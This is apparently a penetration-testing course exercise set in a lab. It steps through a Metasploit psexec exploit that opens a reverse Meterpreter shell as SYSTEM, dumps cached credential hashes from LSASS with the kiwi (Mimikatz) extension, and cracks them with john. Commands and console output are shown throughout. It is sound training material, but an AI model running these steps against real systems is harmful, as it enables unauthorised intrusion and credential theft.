



Activity File: Credential Dumping

In this activity, you'll continue to play the role of a pen tester conducting an engagement on MegaCorpOne. You are tasked to use the Metasploit **kiwi** extension to dump the credentials that are cached on the WIN10 machine. Then you will save and crack the hashes using **john**.

⚠ Reminder: Don't forget to save your findings, as you will add them to your Week 16 Homework!

Instructions

First, open a Meterpreter session as SYSTEM on WIN10 by performing the following steps (if a current Meterpreter SYSTEM session isn't already opened).

1. Load the **psexec** module: `use exploit/windows/smb/psexec`
2. Set the following parameters:
 - `set RHOSTS 172.22.117.20`
 - `set SMBUSER tstark`
 - `set SMBPass Password!`
 - `set SMBDomain megacorpone`
 - `set LHOST 172.22.117.100`

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
```

Name	Current Setting	Required	Description
RHOSTS	172.22.117.20	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	megacorpone	no	The Windows domain to use for authentication
SMBPass	Password!	no	The password for the specified username
SMBShare		no	The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share
SMBUser	tstark	no	The username to authenticate as

```

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
EXITFUNC   thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST      172.22.117.100  yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

msf6 exploit(windows/smb/psexec) >

```

- Run the module with **run**.

```
msf6 exploit(windows/smb/psexec) > set LHOST 172.22.117.100
LHOST => 172.22.117.100
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 172.22.117.100:4444
[*] 172.22.117.20:445 - Connecting to the server...
[*] 172.22.117.20:445 - Authenticating to 172.22.117.20:445\megacorpone as user 'tstark'...
[*] 172.22.117.20:445 - Selecting PowerShell target
[*] 172.22.117.20:445 - Executing the payload...
[+] 172.22.117.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 172.22.117.20
[*] Meterpreter session 1 opened (172.22.117.100:4444 -> 172.22.117.20:58831 ) at 2022-04-19 11:01:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

- In your Meterpreter session, load the **kiwi** extension:
 - load kiwi**
- Once a new extension is loaded into Metasploit, it will update the help menu. View the **kiwi** command options by calling the help menu in Meterpreter:
 - ?**
- Dump all the cached credentials from LSASS using a **kiwi_cmd** command. Reference the [cheat sheet](#) for Mimikatz. Pay attention to the "lsadump" section.

Note: If the **kiwi** command is not dumping credentials as expected, try migrating to another process using the **migrate** command. Keep in mind that you want to migrate to another SYSTEM x64 process.

7. In the output, the hashes are displayed after the "MsCacheV2 field." MsCacheV2 is just the format of the hash. Save the hashes in the format `username:password`, as shown.

```
(root@kali)-[~]  
# cat hashes.txt  
bob:9266b8f89ae43e72f582cd1f9f298de2  
alice:2216b8f89a312jkhe72f582cd1f9f298ded
```

Using `john`, attempt to crack the password. Your `john` command should use the flag `--format=mscash2`, e.g., `john --format=mscash2 hashes.txt`.

8. You should now have the plain-text password to the new account of bbanner.
-